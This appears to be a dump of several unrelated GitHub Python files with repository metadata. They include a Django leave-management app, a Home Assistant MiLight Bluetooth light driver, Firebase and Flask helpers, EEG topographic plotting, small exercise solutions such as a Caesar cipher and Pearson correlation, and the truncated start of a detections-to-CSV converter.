n2))\n","repo_name":"cxiaolong/Algorithm-Practice","sub_path":"PythonEdition/回溯算法/216_combinationSum3.py","file_name":"216_combinationSum3.py","file_ext":"py","file_size_in_byte":1457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"18045535326","text":"from django.shortcuts import render, redirect\n#from .models import Details, Leave_Application, Approved_Leave_Application\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.models import User\nfrom django.contrib import messages\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.http import HttpResponse\nfrom django.utils import timezone\nfrom .models import Staff_Details, Leave_Application, Status_Leave_Application\n\n# Create your views here.\ndef homepage(request):\n return render(request, 'staff/homepage.html')\n\ndef user_login(request):\n\n if request.method == \"POST\":\n username = request.POST['username']\n pass1 = request.POST['password']\n user = authenticate(username=username, password=pass1)\n\n if user is not None:\n login(request, user)\n request.session['username'] = username\n if user.groups.filter(name='STAFF').exists():\n return redirect('profile')\n else:\n messages.error(request, \"Invalid Employee ID or Password\")\n return render(request, 'staff/login.html')\n \n \n else:\n messages.error(request, \"Invalid Employee ID or Password\")\n return render(request, 'staff/login.html')\n return render(request, 'staff/login.html')\n\n@login_required\ndef profile(request):\n emp_id = request.session.get('username', \"eNE\")\n details = Staff_Details.objects.filter(employee_id=emp_id)\n if details.exists():\n detail = details[0]\n else:\n detail = None\n print(detail.name)\n\n return render(request, 'staff/profile.html', {'detail': detail})\n\n@login_required\ndef signout(request):\n logout(request)\n return redirect('user_login')\n\n@login_required\ndef new_leave_application(request):\n username = request.session.get('username', \"NONE\")\n do_exist = Leave_Application.objects.filter(employee_id = username)\n\n if do_exist.exists():\n messages.warning(request,\"You have already applied for a leave.\")\n return redirect('profile')\n \n else:\n\n details = Staff_Details.objects.filter(employee_id=username)\n if details.exists():\n detail = details[0] \n else:\n # Handle the case where no matching records are found\n detail = None\n print(detail.name)\n if request.method == \"POST\":\n staff_name = request.POST['staffName']\n department = request.POST['department']\n nature_of_leave = request.POST['natureOfLeave']\n leave_days = request.POST['leaveDays']\n leave_period = request.POST['leavePeriod']\n reason_for_leave = request.POST['reasonForLeave']\n class_semester = request.POST['classSemester']\n hour = request.POST['hour']\n subject = request.POST['subject']\n assigned_teacher = request.POST['assignedTeacher']\n linways_assigned = request.POST['linwaysAssigned']\n\n time_of_request = timezone.now()\n emp_id = Staff_Details.objects.get(employee_id = username)\n\n\n leave_application = Leave_Application(\n employee_id = emp_id,\n name=staff_name,\n department=department,\n nature_of_leave=nature_of_leave,\n no_of_days=leave_days,\n leave_from=leave_period,\n reason=reason_for_leave,\n alt_class_sem=class_semester,\n alt_hour=hour,\n alt_subject=subject,\n alt_assigned_teacher=assigned_teacher,\n alt_linways_assigned=linways_assigned,\n time_of_request = time_of_request\n )\n leave_application.save()\n messages.success(request, \"Your Application submitted successfully\")\n return redirect('profile')\n return render(request, 'staff/new_leave_application.html',{'detail': detail})\n\n@login_required\ndef show_leave_application(request):\n username = request.session.get('username', \"NONE\")\n print(username)\n\n status_of_approved_applications = Status_Leave_Application.objects.filter(employee_id = username).order_by('-leave_from')\n \n pending_applications = Leave_Application.objects.filter(employee_id = username)\n \n return render(request, 'staff/show_leave_applications.html',{'status_of_approved_applications': status_of_approved_applications, 'pending_applications': pending_applications})\n \ndef signup(request):\n if request.method == \"POST\":\n employeeId = request.POST['employeeId']\n ename = request.POST['ename']\n department = request.POST['department']\n designation = request.POST['designation']\n email = request.POST['email']\n password = request.POST['password']\n\n #password1 = request.POST['password1']\n\n\n \n user = User.objects.create_user(employeeId,email,password)\n user.save()\n Staff_Details.objects.create(\n employee_id = employeeId,\n name = ename,\n email = email,\n department = department,\n designation = designation,\n cl1_bal = 6,\n cl2_bal = 6,\n ML_bal = 10,\n VL_bal = 10,\n DL_bal = 10,\n LoP = 0,\n comp_off = 0\n )\n\n return redirect('user_login') \n return render(request, 'staff/signup.html')","repo_name":"shinojeattath/LeaveManagement","sub_path":"staff/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"15156607136","text":"import logging\nimport urllib.request\nimport voluptuous as vol\nimport colorsys\nimport time\nimport threading\nimport pickle\nimport logging\nimport subprocess\nimport os.path\n\nfrom queue import Queue\n\nfrom homeassistant.components.light import ATTR_BRIGHTNESS, ATTR_HS_COLOR, ATTR_COLOR_TEMP, LightEntity, PLATFORM_SCHEMA, SUPPORT_BRIGHTNESS, SUPPORT_COLOR, SUPPORT_COLOR_TEMP\nimport homeassistant.helpers.config_validation as cv\nimport homeassistant.util.color as color_util\n\n_LOGGER = logging.getLogger(__name__)\nPLATFORM_SCHEMA = PLATFORM_SCHEMA.extend({})\n\n\nfrom homeassistant.const import CONF_MAC, CONF_CLIENT_ID, CONF_DEVICE_ID, CONF_HOST, CONF_ENTITY_ID\nfrom homeassistant.components.light import PLATFORM_SCHEMA\n\nLIGHT_SCHEMA = vol.All(\n cv.deprecated(CONF_ENTITY_ID),\n vol.Schema(\n {\n vol.Optional(\"name\"): cv.string,\n vol.Optional(\"host\"): cv.string,\n vol.Optional(\"mac\"): cv.string,\n vol.Optional(\"id1\"): cv.port,\n vol.Optional(\"id2\"): cv.port\n }\n ),\n)\n\nPLATFORM_SCHEMA = PLATFORM_SCHEMA.extend(\n {vol.Required(\"devices\"): cv.schema_with_slug_keys(LIGHT_SCHEMA)}\n)\n\n\nsubprocess.call(['/sbin/apk', 'add', 'bluez-deprecated'])\nimport os\ncwd = os.getcwd()\n_LOGGER.info(cwd)\n\ndef setup_platform(hass, config, add_devices, discovery_info=None):\n devs = []\n for device, device_config in config[\"devices\"].items():\n devs.append(MiLightSm(device_config[\"id1\"], device_config[\"id2\"], device_config[\"mac\"], device_config[\"host\"], device_config[\"name\"]))\n add_devices(devs)\n\nclass GattQueue(threading.Thread):\n def __init__(self, mac, dev, args=(), kwargs=None):\n threading.Thread.__init__(self, args=(), kwargs=None)\n self.queue = Queue()\n self.dev = dev\n self.mac = mac\n self.daemon = True\n\n def run(self):\n# _LOGGER.error(\"Started thread...\")\n while True:\n val = self.queue.get()\n# _LOGGER.error(val)\n ret = subprocess.call(['/usr/bin/gatttool', '-i', self.dev, '-b', self.mac, '--char-write-req', '-a', '0x0012', '-n', val])\n# _LOGGER.error(\" \".join(['/usr/bin/gatttool', '-i', self.dev, '-b', self.mac, '--char-write-req', '-a', '0x0012', '-n', val]))\n\n if ret is not 0:\n# _LOGGER.error(\"Failed, trying again once.\")\n ret = subprocess.call(['/usr/bin/gatttool', '-i', self.dev, '-b', self.mac, '--char-write-req', '-a', '0x0012', '-n', val])\n if ret is not 0:\n# _LOGGER.error(\"Failed, trying again twice.\")\n subprocess.call(['/usr/bin/gatttool', '-i', self.dev, '-b', self.mac, '--char-write-req', '-a', '0x0012', '-n', val])\n\nclass MiLightSm(LightEntity):\n def __init__(self, id1, id2, mac, interface, name):\n self._name = name\n\n self.id1 = id1\n self.id2 = id2\n qu = GattQueue(mac, interface)\n self.q = qu.queue\n qu.start()\n # _LOGGER.error(\"start1\")\n if os.path.isfile(\"./persist/\"+str(self.id1)):\n f = open(\"./persist/\"+str(self.id1), \"rb\")\n self.setParameters(pickle.load(f))\n f.close()\n self.apply()\n else:\n self._state = False\n self._brightness = 100\n self.mode = 1 # 1=temp, 0=color\n self._color = 0\n self._temperature = 100\n self.setStatus(self._state)\n self.apply()\n\n @property\n def name(self):\n return self._name\n\n @property\n def brightness(self):\n return int(self._brightness/100*255)\n\n @property\n def color_temp(self):\n return self._temperature\n\n @property\n def color_hs(self):\n colors = colorsys.hsv_to_rgb(self._color,1,1)\n return color_util.color_RGB_to_hs(int(colors[0]*256), int(colors[1]*256), int(colors[2]*256))\n\n @property\n def hs_color(self):\n colors = colorsys.hsv_to_rgb(self._color,1,1)\n return color_util.color_RGB_to_hs(int(colors[0]*256), int(colors[1]*256), int(colors[2]*256))\n\n @property\n def is_on(self):\n return self._state\n\n @property\n def supported_features(self):\n return SUPPORT_BRIGHTNESS | SUPPORT_COLOR | SUPPORT_COLOR_TEMP\n\n def turn_on(self, **kwargs):\n self._state = True\n if ATTR_COLOR_TEMP in kwargs:\n temp = kwargs[ATTR_COLOR_TEMP]\n self.setParameterInternal(\"temp\", int(temp))\n self.setParameterInternal(\"mode\", 1)\n if ATTR_HS_COLOR in kwargs:\n rgb = color_util.color_hs_to_RGB(*kwargs[ATTR_HS_COLOR])\n hsv = colorsys.rgb_to_hsv(rgb[0], rgb[1], rgb[2])\n # if its white, make it white\n #_LOGGER.error(hsv)\n if hsv[2] == 1 or (hsv[2] == 255 and hsv[0] == 0.09959349593495935):\n self.setParameterInternal(\"temp\", self._temperature)\n self.setParameterInternal(\"mode\", 1)\n elif hsv[2] == 250: # cool white\n self.setParameterInternal(\"temp\", 100)\n self.setParameterInternal(\"mode\", 1)\n elif hsv[2] == 230: # gold\n self.setParameterInternal(\"temp\", 255)\n self.setParameterInternal(\"mode\", 1)\n else:\n # otherwise, set colour\n self.setParameterInternal(\"color\", int(hsv[0]*255))\n self.setParameterInternal(\"mode\", 0)\n if ATTR_BRIGHTNESS in kwargs:\n self.setParameterInternal(\"brightness\", int(int(kwargs[ATTR_BRIGHTNESS])/255*100))\n self.setParameterInternal(\"status\", True)\n self.apply()\n\n def turn_off(self, **kwargs):\n self._state = False\n self.setParameterInternal(\"status\", False)\n\n def update(self):\n pass\n\n def setStatus(self, state):\n self._state = state\n if not state:\n self.q.put(self.createPacket([85, 161, self.id1, self.id2, 2, 2, 0, 0, 0, 0, 0]))\n else:\n self.q.put(self.createPacket([32, 161, self.id1, self.id2, 2, 1, 0, 0, 0, 0, 0]))\n\n def setParameterInternal(self, param, value):\n if param == \"status\":\n self.setStatus(int(value))\n elif param == \"mode\":\n self.mode = int(value)\n elif param == \"color\":\n self._color = int(value)\n elif param == \"temp\":\n self._temperature = int(value)\n elif param == \"brightness\":\n self._brightness = int(value)\n\n def apply(self):\n if self.mode == 0:\n self.q.put(self.createPacket([85, 161, self.id1, self.id2 , 2, 4, self._color, 100, 0, 0, 0]))\n self.q.put(self.createPacket([85, 161, self.id1, self.id2, 2, 5, self._color, self._brightness, 0, 0, 0]))\n elif self.mode == 1:\n self.q.put(self.createPacket([20, 161, self.id1, self.id2, 4, 4, self._temperature, 255, 0, 0, 0]))\n self.q.put(self.createPacket([20, 161, self.id1, self.id2 , 4, 5, self._temperature, self._brightness, 0, 0, 0]))\n f = open( \"./persist/\"+str(self.id1), \"wb\" )\n pickle.dump(self.getParameters(), f)\n f.close()\n\n def createPacket(self, data):\n input = data\n\n k = input[0]\n # checksum\n j = 0\n i = 0\n\n while i <= 10:\n j += input[i] & 0xff\n i += 1\n checksum = ((( (k ^ j) & 0xff) + 131) & 0xff)\n\n xored = [(s&0xff)^k for s in input]\n\n offs = [0, 16, 24, 1, 129, 55, 169, 87, 35, 70, 23, 0]\n\n adds = [x+y&0xff for(x,y) in zip(xored, offs)]\n\n adds[0] = k\n adds.append(checksum)\n\n hexs = [hex(x) for x in adds]\n hexs = [x[2:] for x in hexs]\n hexs = [x.zfill(2) for x in hexs]\n\n return ''.join(hexs)\n\n ##### DEPRECATED ############\n def setParameter(self, param, value):\n if param == \"status\":\n self.setStatus(bool(value))\n elif param == \"mode\":\n self.mode = int(value)\n elif param == \"color\":\n self._color = int(value)\n self.mode = 0\n elif param == \"temp\":\n self._temperature = int(value)\n self.mode = 1\n elif param == \"brightness\":\n self._brightness = int(value)\n self.apply()\n time.sleep(0.2)\n\n def setParameters(self, list):\n internal = False\n if list[0][0] == \"status\":\n internal = True\n for a in list:\n if internal == True:\n self.setParameterInternal(a[0], a[1])\n else:\n self.setParameter(a[0], a[1])\n self.apply()\n\n\n def getParameters(self):\n return [ [\"status\", self._state],\n [\"mode\", self.mode],\n [\"color\", self._color],\n [\"temp\", self._temperature],\n [\"brightness\", self._brightness] ]\n\n","repo_name":"souramoo/homeassistant-milight-bluetooth","sub_path":"light.py","file_name":"light.py","file_ext":"py","file_size_in_byte":8839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"39823237326","text":"from firebase_admin import credentials, initialize_app, storage\n\n\n\ncred = credentials.Certificate(\"parquet-writer-firebase-adminsdk-ibvc3-ccf6d01f9d.json\")\ninitialize_app(cred, {'storageBucket': 'parquet-writer.appspot.com'})\nbucket_name = \"parquet-writer.appspot.com\"\ndef download(path):\n source_blob_name = path\n bucket = storage.bucket()\n blob = bucket.blob(source_blob_name)\n blob.download_to_filename(\"written_csv/file.csv\")\n\ndef downloadToParquet(path):\n source_blob_name = path\n bucket = storage.bucket()\n blob = bucket.blob(source_blob_name)\n blob.download_to_filename(\"parquet/file.parquet\")\n\ndef upload(name, parquet_file):\n storage.child(name+\"/written_parquet/file.parquet\").put(\"/written_parquet/\"+parquet_file)\n url = storage.child(name+\"/written_parquet/file.parquet\").get_url(token=None)\n return url","repo_name":"SultanF1/Parquet_Tools","sub_path":"utility.py","file_name":"utility.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"44894530327","text":"# Excersice HackerRank\n# Artificial IntelligenceStatistics and Machine LearningDay 6: Multiple Linear Regression: Predicting House Prices\n# https://www.hackerrank.com/challenges/computing-the-correlation/problem\n# Compute the correlation\n\nimport math\n\ndef pearson_coef(A,B):\n n = float(len(A))\n meanA = sum(A)/n\n meanB = sum(B)/n\n diff_meanA = map(lambda a : a - meanA, A)\n diff_meanB = map(lambda b : b - meanB, B)\n stdA = math.sqrt((1/(n-1))*sum([c*c for c in diff_meanA]))\n stdB = math.sqrt((1/(n-1))*sum([c*c for c in diff_meanB]))\n p_coef = ( sum(A[i]*B[i] for i in range(int(n))) - n*meanA*meanB )/((n-1)*stdA*stdB) \n return(p_coef)\n# Enter your code here. Read input from STDIN. Print output to STDOUT\n\n\n# Get the parameters:\n# First Line N observatiosn\n# Secon line: records M F C\n\nn= int(input())\nmath_record = []\nphysics_record = []\nchemistry_record = []\nscores = []\nfor i in range(n):\n m, p, c = map(int, input().split())\n math_record.append(m)\n physics_record.append(p)\n chemistry_record.append(c)\n\ncoef_M_P = pearson_coef(math_record,physics_record)\ncoef_P_C = pearson_coef(physics_record,chemistry_record)\ncoef_C_M = pearson_coef(chemistry_record,math_record)\n\nprint(f'{coef_M_P:.2f}')\nprint(f'{coef_P_C:.2f}')\nprint(f'{coef_C_M:.2f}')\n","repo_name":"jjcordova/hackerrank","sub_path":"compute_correlation.py","file_name":"compute_correlation.py","file_ext":"py","file_size_in_byte":1259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"23714761440","text":"#Cézarova_šifra\r\nvstup = input('Zadaj text:') #do premennej vstup si uložím zadaný vstup \r\nposun = input('Zadaj posun:') #do premennej posun si uložím posun o koľko posúvam\r\nsifra = '' #premennú sifra nastavím ako string\r\nfor znak in vstup: #for cyklus na šifrovanie\r\n novyznak = znak #do premennej novyznak uložím znak\r\n if 'a' <= znak <= chr(ord('z')-int(posun)): #podmienka ak znak je medzi a a posunom ktorý zadám\r\n novyznak = chr(ord(znak)+int(posun)) ##uložím do premennej novyznak zo zadaným posunom \r\n if znak >= chr(ord('z')-int(posun)): #podmienka ak znak je väčší alebo rovný ako z - zadaný posun\r\n novyznak = chr((ord(znak)-97+int(posun))%26+97) #uložím do premennej novyznak\r\n sifra = sifra+novyznak #do premennej sifra uložím novyznak\r\nprint(sifra) #vypíšem šifru\r\n\r\n","repo_name":"PatrikMraz/Ulohy_z_opakovania_3","sub_path":"Mraz_1.5_28.py","file_name":"Mraz_1.5_28.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"sk","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"36120737648","text":"import os\n\nfrom flask import Blueprint, abort, request\n\nfrom root.auth import is_authorized\n\nfrom .category_controller import categories, categoryController\nfrom .category_query import (\n cache_category_text,\n last_access_register_category_cache,\n search_category,\n)\n\ncategory_router = Blueprint(\"Category\", __name__)\n\n\n@category_router.route(\"/get_category\", methods=[\"POST\"])\ndef get_category():\n AUTH = os.getenv(\"AUTH\")\n authorization_header = request.headers.get(\"Authorization\")\n\n if not is_authorized(\n token_to_validate=AUTH, token_from_request=authorization_header\n ):\n abort(403)\n\n text = request.form.get(\"text\")\n if not text:\n return \"No text\"\n\n search_result = search_category(\n text_to_category=text,\n )\n first_item = search_result[0] if len(search_result) else None\n\n if first_item:\n result = first_item\n last_access_register_category_cache(\n text_to_category=text,\n )\n else:\n result = categoryController.get_category(text)\n cache_category_text(\n text_to_category=text,\n result=result,\n )\n\n return result\n\n\n@category_router.route(\"/get_all_categories\", methods=[\"GET\"])\ndef get_all_categories():\n AUTH = os.getenv(\"AUTH\")\n authorization_header = request.headers.get(\"Authorization\")\n\n if not is_authorized(\n token_to_validate=AUTH, token_from_request=authorization_header\n ):\n abort(403)\n\n return categories\n","repo_name":"openworld-community/ows-events-localisation","sub_path":"root/api/categories/router.py","file_name":"router.py","file_ext":"py","file_size_in_byte":1500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"6983015416","text":"def solution(N, stages):\n stages_cnt = [[0,0] for _ in range(N+1)]\n failure_rate = {}\n\n for e in stages:\n if e > N: #N보다 클경우 모든 스테이지의 존재하거나 클리어한 사람 +1\n for i in range(1,N+1):\n stages_cnt[i][1] += 1\n else:\n stages_cnt[e][0] += 1 #해당 스테이지에 존재하는 사람\n for i in range(1, e+1):\n stages_cnt[i][1] += 1 #해당 스테이지에 존재하거나 클리어한 사람\n\n for i in range(1, N+1):\n if stages_cnt[i][1] == 0: #처음에 이 예외처리를 안해서 오류남 -> 존재하거나 클리어한 사람이 0명일 경우 0으로 나눌때 오류가 뜸\n rate = 0\n else:\n rate = stages_cnt[i][0] / stages_cnt[i][1]\n failure_rate[i] = rate #dict에 해당 인덱스와 실패율 저장\n\n res = list(dict(sorted(failure_rate.items(), key=lambda x:x[1], reverse=True)).keys()) # 실패율을 기준으로 내림차순한 dict의 keys()를 list화해서 리턴\n\n return res","repo_name":"jeno8522/Coding-Test-Study","sub_path":"2022/9월/2주차/프로그래머스/실패율.py","file_name":"실패율.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"4970037310","text":"'''\nObjective: Static and animation 2D topographic map for brain mapping using power calculated by Welch method\n for Emotiv EPOC 14 channel headset\nInput: csv file (FEIS dataset folder traversing is done)\nOutput: Static 2D topographic map for 21 participants on single phoneme or \n Animation 2D topographic map for 1 participant\n@author: Vinay\nAdapted from: https://github.com/ijmax/EEG-processing-python\n'''\n\nimport os\nfrom pathlib import Path\nimport time\nimport numpy as np\nimport pandas as pd\nfrom scipy import signal\nimport scipy.interpolate\nfrom matplotlib import patches\nimport matplotlib.pyplot as plt\n\ndef get_psds(ch_data, fs = 256, f_range= [0.5, 30]):\n '''\n Calculate signal power using Welch method.\n Input: data- mxn matrix (m: number of channels, n: samples of signals)\n fs- Sampling frequency (default 256Hz)\n f_range- Frequency range (default 0.5Hz to 30Hz)\n Output: Power values and PSD values\n '''\n powers = []\n psds = list()\n for sig in ch_data:\n freq, psd = signal.welch(sig, fs)\n idx = np.logical_and(freq >= f_range[0], freq <= f_range[1])\n powers = np.append(powers, sum(psd[idx]))\n psds.append(psd[idx])\n return powers, psds\n\ndef plot_topomap(data, ax, fig, draw_cbar=False):\n '''\n Plot topographic plot of EEG data. This is specially design for Emotiv 14 electrode data. This can be change for any other arrangement by changing \n ch_pos (channel position array) \n Input: data- 1D array 14 data values\n ax- Matplotlib subplot object to be plotted every thing\n fig- Matplot lib figure object to draw colormap\n draw_cbar- Visualize color bar in the plot\n '''\n N = 300 \n xy_center = [2,2] \n radius = 2 \n \n # AF3, F7, F3, FC5, T7, P7, O1, O2, P8, T8, FC6, F4, F8, AF4\n ch_pos = [[1,4],[0.1,3], [1.5,3.5], \n [0.5,2.5], [-0.1,2], [0.4,0.4], \n [1.5,0], [2.5,0], [3.6,0.4], [4.1,2], \n [3.5,2.5], [2.5,3.5], [3.9,3], [3,4]]\n \n x,y = [],[]\n for i in ch_pos:\n x.append(i[0])\n y.append(i[1])\n \n xi = np.linspace(-2, 6, N)\n yi = np.linspace(-2, 6, N)\n zi = scipy.interpolate.griddata((x, y), data, (xi[None,:], yi[:,None]), method='cubic')\n \n dr = xi[1] - xi[0]\n for i in range(N):\n for j in range(N):\n r = np.sqrt((xi[i] - xy_center[0])**2 + (yi[j] - xy_center[1])**2)\n if (r - dr/2) > radius:\n zi[j,i] = \"nan\"\n \n dist = ax.contourf(xi, yi, zi, 60, cmap = plt.get_cmap('coolwarm'), zorder = 1)\n ax.contour(xi, yi, zi, 15, linewidths = 0.5,colors = \"grey\", zorder = 2)\n \n if draw_cbar:\n cbar = fig.colorbar(dist, ax=ax, format='%.1e')\n cbar.ax.tick_params(labelsize=8)\n \n ax.scatter(x, y, marker = 'o', c = 'k', s = 10, zorder = 3)\n circle = patches.Circle(xy = xy_center, radius = radius, edgecolor = \"k\", facecolor = \"none\", zorder=4)\n ax.add_patch(circle)\n \n for loc, spine in ax.spines.items():\n spine.set_linewidth(0)\n\n ax.set_xticks([])\n ax.set_yticks([])\n \n circle = patches.Ellipse(xy = [0,2], width = 0.4, height = 1.0, angle = 0, edgecolor = \"k\", facecolor = \"w\", zorder = 0)\n ax.add_patch(circle)\n circle = patches.Ellipse(xy = [4,2], width = 0.4, height = 1.0, angle = 0, edgecolor = \"k\", facecolor = \"w\", zorder = 0)\n ax.add_patch(circle)\n \n xy = [[1.6,3.6], [2,4.3],[2.4,3.6]]\n polygon = patches.Polygon(xy = xy, edgecolor = \"k\", facecolor = \"w\", zorder = 0)\n ax.add_patch(polygon) \n\n #ax.set_xlim(-0.2, 4.2)\n ax.set_ylim(-0.2, 4.2)\n return ax\n\n\n# Static visualization for 21 participant\nrootdir = 'C:/Users/vinay/Downloads/FEIS_v1_1/experiments/'\nfig = plt.figure(figsize=(8,10))\nfig.subplots_adjust(hspace=0.5)\nfig.suptitle(\"Topograph for phoneme 'p' in articulator phase\", fontsize=15, y=0.95)\ni = 1\nfor subdir, dirs, files in os.walk(rootdir):\n splitted = Path(subdir).parts\n if splitted[-1] == 'p' and splitted[-2] == 'articulators_eeg':\n for file in files: # reading only 1st file many files\n path = subdir + '/' + file\n data = pd.read_csv(path)\n ch_data = np.transpose(data.to_numpy())\n pwrs, _ = get_psds(ch_data)\n ax = plt.subplot(7, 3, i)\n plot_topomap(pwrs, ax, fig)\n ax.set_title(\"participant \" + str(i))\n i += 1\n break\nplt.show()\nfig.savefig(\"topograph_p_articulator.png\", dpi=300)\n\n'''\n# Animation for only 1 participant\npath = 'C:/Users/vinay/Downloads/FEIS_v1_1/experiments/01/thinking_eeg/f/thinking_f_trial_4.csv'\nplt.ion()\nfig, ax = plt.subplots(figsize=(8,8))\ndata = pd.read_csv(path)\nch_data = np.transpose(data.to_numpy())\nchunk_data = np.array_split(ch_data, 4, axis=1)\nfor chunk in chunk_data: \n pwrs, _ = get_psds(chunk)\n ax.clear() \n plot_topomap(pwrs, ax, fig, draw_cbar=False)\n fig.canvas.draw()\n fig.canvas.flush_events()\n time.sleep(0.01)\n'''","repo_name":"VinayFaria/M.Tech-CSP_PGP","sub_path":"FEIS dataset/codes/topography.py","file_name":"topography.py","file_ext":"py","file_size_in_byte":5022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"8306503312","text":"#!/usr/bin/env python3\nimport copy\nimport logging\nimport os\nimport sys\nimport argparse\nimport json\nimport pandas as pd\nfrom schema.dataschema import Detection, Investigation, dumpJSON, jsonobjproc\nfrom evidenceintegration.DetectionsToVis import DetectionsToVisualization\nfrom evidenceintegration.EvidenceIntegration import EvidenceIntegration, RegionGroup, AlterationGroup\nfrom evidenceintegration.PreprocessInvestigations import PreprocessInvestigations\nfrom evidenceintegration.utils import EvidenceIntegrationUtils\n\nclass DetectionsToCSV:\n\n NOT_APPLICABLE = \"Not applicable\"\n TODO = \"TODO\"\n SAMPLE_ID = \"Sample_ID\"\n NUM_ASSAYS = \"Number_of_Technical_and/or_Biological_Replicates_of_Assay_Performed\"\n CONCENTRATION = \"Concentration_and_Volume_Per_Assay\"\n REF_GEN_USED = \"Reference_Genome_or_Assembly_Used (Y/N)\"\n REF_NAME_ACC = \"Reference_Name_or_Accession\"\n DECISION_CRITERIA = \"Decision_Criteria\"\n DNA_CONCENTRATION = \"Starting_DNA_Concentration\"\n DNA_CONCENTRATION_UNITS = \"Starting_DNA_Concentration_Units\"\n DATE_RUN = \"Date_Run\"\n TESTER = \"Tester_Name\"\n SW_VER = \"Software_Version\"\n HW_ENV = \"Hardware_Environment\"\n COMP_RES = \"Computational_Resources\"\n COMP_TIME = \"Computational_Analysis_Time\"\n ASSAY_TIME = \"Experimental_Assay_Time\"\n SCORE = \"Score_or_Confidence_Measure\"\n ENG_DETECTED = \"Engineering_Detected\"\n ENG_NAME = \"What_was_Detected\"\n NATIVE = \"Native_to_Host\"\n EVIDENCE = \"Evidence_of_Engineering\"\n HOST_SPECIES = \"Host_Species\"\n ENG_DNA_SOURCE = \"Source_of_Engineered_DNA\"\n COORDINATES = \"Base_Pair_Coordinates_or_Gene_Context_in_the_T_&_E_sample\"\n SIZE = \"Size_of_Signature\"\n C_OR_P = \"Chromosome_or_Plasmid\"\n CHROMOSOME = \"Which_Chromosome\"\n PART_CLASS = \"Part_Class\"\n DETECTION_MODULE = \"Detection_Module\"\n NOTES = \"Notes\"\n SIGNATURE_ID = \"Signature_ID\"\n SIGNATURE_GROUP = \"Signature_Group\"\n PARENT_SIGNATURE = \"Parent_Signature\"\n READ_COUNT = \"Read_Count\"\n SEQUENCE = \"Signature_Sequence\" \n\n MIN_CSV_COLUMNS = [\n SAMPLE_ID,\n REF_NAME_ACC,\n SCORE,\n ENG_DETECTED,\n ENG_NAME,\n NATIVE,\n EVIDENCE,\n HOST_SPECIES,\n COORDINATES,\n SIZE,\n PART_CLASS,\n DETECTION_MODULE,\n SIGNATURE_ID,\n SIGNATURE_GROUP,\n READ_COUNT,\n SEQUENCE\n ]\n\n TE_CSV_COLUMNS = [\n SAMPLE_ID,\n NUM_ASSAYS,\n CONCENTRATION,\n REF_GEN_USED,\n REF_NAME_ACC,\n DECISION_CRITERIA,\n DNA_CONCENTRATION,\n DNA_CONCENTRATION_UNITS,\n DATE_RUN,\n TESTER,\n SW_VER,\n HW_ENV,\n COMP_RES,\n COMP_TIME,\n ASSAY_TIME,\n SCORE,\n ENG_DETECTED,\n ENG_NAME,\n NATIVE,\n EVIDENCE,\n HOST_SPECIES,\n ENG_DNA_SOURCE,\n COORDINATES,\n SIZE,\n C_OR_P,\n CHROMOSOME,\n PART_CLASS,\n DETECTION_MODULE,\n NOTES,\n SIGNATURE_ID,\n SIGNATURE_GROUP,\n PARENT_SIGNATURE,\n READ_COUNT,\n SEQUENCE\n ]\n\n\n @staticmethod\n def natural_te_row_for_sample(sample_id):\n row_dict = {}\n row_dict[DetectionsToCSV.SAMPLE_ID] = sample_id\n row_dict[DetectionsToCSV.NUM_ASSAYS] = 1\n row_dict[DetectionsToCSV.CONCENTRATION] = DetectionsToCSV.NOT_APPLICABLE\n row_dict[DetectionsToCSV.REF_GEN_USED] = \"no\"\n row_dict[DetectionsToCSV.REF_NAME_ACC] = DetectionsToCSV.NOT_APPLICABLE\n row_dict[DetectionsToCSV.DECISION_CRITERIA] = DetectionsToCSV.TODO\n row_dict[DetectionsToCSV.DNA_CONCENTRATION] = DetectionsToCSV.NOT_APPLICABLE\n row_dict[DetectionsToCSV.DNA_CONCENTRATION_UNITS] = DetectionsToCSV.NOT_APPLICABLE\n row_dict[DetectionsToCSV.DATE_RUN] = \"\"\n row_dict[DetectionsToCSV.TESTER] = DetectionsToCSV.TODO\n row_dict[DetectionsToCSV.SW_VER] = DetectionsToCSV.TODO\n row_dict[DetectionsToCSV.HW_ENV] = DetectionsToCSV.TODO\n row_dict[DetectionsToCSV.COMP_RES] = DetectionsToCSV.TODO\n row_dict[DetectionsToCSV.COMP_TIME] = DetectionsToCSV.TODO\n row_dict[DetectionsToCSV.ASSAY_TIME] = DetectionsToCSV.NOT_APPLICABLE\n row_dict[DetectionsToCSV.SCORE] = \"0\"\n row_dict[DetectionsToCSV.ENG_DETECTED] = \"no\"\n row_dict[DetectionsToCSV.ENG_NAME] = DetectionsToCSV.NOT_APPLICABLE\n row_dict[DetectionsToCSV.NATIVE] = DetectionsToCSV.NOT_APPLICABLE\n row_dict[DetectionsToCSV.EVIDENCE] = DetectionsToCSV.NOT_APPLICABLE\n row_dict[DetectionsToCSV.HOST_SPECIES] = DetectionsToCSV.TODO\n row_dict[DetectionsToCSV.ENG_DNA_SOURCE] = DetectionsToCSV.NOT_APPLICABLE\n row_dict[DetectionsToCSV.COORDINATES] = DetectionsToCSV.NOT_APPLICABLE\n row_dict[DetectionsToCSV.SIZE] = DetectionsToCSV.NOT_APPLICABLE\n row_dict[DetectionsToCSV.C_OR_P] = DetectionsToCSV.NOT_APPLICABLE\n row_dict[DetectionsToCSV.CHROMOSOME] = DetectionsToCSV.NOT_APPLICABLE\n row_dict[DetectionsToCSV.PART_CLASS] = DetectionsToCSV.NOT_APPLICABLE\n row_dict[DetectionsToCSV.DETECTION_MODULE] = \"GUARDIAN\"\n 